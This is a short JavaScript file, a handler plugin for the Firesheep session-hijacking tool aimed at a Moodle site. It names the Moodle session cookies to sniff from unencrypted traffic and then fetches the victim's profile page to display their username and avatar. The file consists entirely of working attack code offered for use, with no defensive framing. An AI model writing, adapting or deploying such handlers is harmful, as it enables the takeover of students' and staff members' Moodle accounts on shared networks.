FireSheep handler for Moodle

moodle.js

register({
  name: 'moodle.domain.com',
  url: 'http://moodle.domain.com/',
  icon: 'http://moodle.domain.com/theme/mytheme/favicon.ico',
  domains: [ 'moodle.domain.com' ],
  sessionCookieNames: [ 'MoodleSession', 'MoodleSessionTest' ],

  identifyUser: function() {
    var site = this.httpGet('http://moodle.domain.com/user/view.php');
    this.userName = site.body.querySelector('div.logininfo a').text;
    this.userAvatar = site.body.querySelector('img.userpicture').src;
  }
});
